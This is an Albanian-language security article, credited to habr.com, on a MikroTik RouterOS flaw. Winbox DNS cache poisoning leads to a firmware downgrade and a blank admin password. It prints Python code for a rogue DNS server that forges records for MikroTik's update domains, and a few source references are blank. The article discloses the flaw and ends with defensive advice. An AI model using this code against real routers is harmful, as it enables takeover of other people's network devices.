
Mundësia për të ulur pajisjet që bazohen në RouterOS (Mikrotik) rrezikon qindra mijëra pajisje rrjeti. Kjo dobësi lidhet me helmimin e caches DNS të protokollit Winbox dhe lejon ngarkimin e një firmware të vjetruar (me rivendosjen e fjalëkalimit 'default') ose të modifikuar në pajisje.

Detajet e dobësisë
Terminali RouterOS mbështet komandën e zgjidhjes për të kërkuar DNS.

Kjo kërkesë trajtohet nga një skedar binar me emrin resolver. Resolver është një nga shumë skedarë binarë që lidhen me protokollin Winbox në RouterOS. Në një nivel të lartë, 'mesazhet' që dërgohen në portin Winbox mund të ruterizohen në skedarë të ndryshëm binarë në RouterOS bazuar në një sistem numërimi të bazuar në array.
Në mënyrë të parazgjedhur, funksioni i serverit DNS në RouterOS është i çaktivizuar.

Megjithatë, edhe kur funksioni i serverit është i çaktivizuar, routeri ruan caches DNS të vetat.

Kur bëjmë një kërkesë duke përdorur winbox_dns_request, për shembull, example.com, routeri do të ruajë rezultatin.

Pasja e mundësisë për të specifikuar një server DNS për të kaluar kërkesën e bën lehtësisht të mundshme futjen e adresave të gabuara. Për shembull, mund të konfigurohet një implementim të serverit DNS nga , për të përgjigjur gjithmonë me një përgjigje A që përmban adresën IP 192.168.88.250.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
print("---- Përgjigje:n", reply)
return reply.pack()Tani, kur të kërkoni example.com me Winbox, mund të shihni se cache DNS i router-it është i helmuar.

Sigurisht, helmimi i example.com nuk është shumë i dobishëm, pasi router-i në realitat nuk do ta përdorë atë. Megjithatë, router-i ka nevojë të lidhet me upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com dhe download.mikrotik.com. Dhe për shkak të një tjetër gabimi, ka mundësinë për ta helmuar të gjitha njëherësh.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("download.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
print("---- Përgjigje:n", reply)
return reply.pack()Ruteri kërkon një autorizim, ndërsa ne ofrojmë pesë përgjigje. Ruteri keqkthen të gjitha këto përgjigje.

Èshtë e qartë se kjo sulm është gjithashtu e dobishme nëse ruteri vepron si një server DNS, pasi lejon sulmin ndaj klientëve të routerit.
Po ashtu, kjo sulm lejon shfrytëzimin e një dobësie më serioze: për të bërë downgrade ose backport të versionit RouterOS. Sulmuesi riprodhon logjikën e serverit të përditësimeve, duke përfshirë changelog dhe e bën RouterOS të perceptojë versionin e vjetruar (të dobët) si aktual. Rreziku këtu qëndron se, gjatë 'përditësimit' të versionit, fjalëkalimi i administratorit zbret në vlerën e 'default' - sulmuesi mund të hyjë në sistem me një fjalëkalim bosh!

Sulmi është plotësisht funksional, megjithatë implementon disa vektorë të tjerë, që lidhen gjithashtu me , por kjo është një teknikë tërësisht e tepruar dhe aplikimi i saj në qëllime të paligjshme është i jashtëligjshëm.
Mbrojtja
Thjesht çaktivizimi i Winbox mundëson mbrojtje nga këto sulme. Megjithëse administrimi përmes Winbox është i përshtatshëm, është më mirë të përdoret protokolli SSH.
Burimi: habr.com
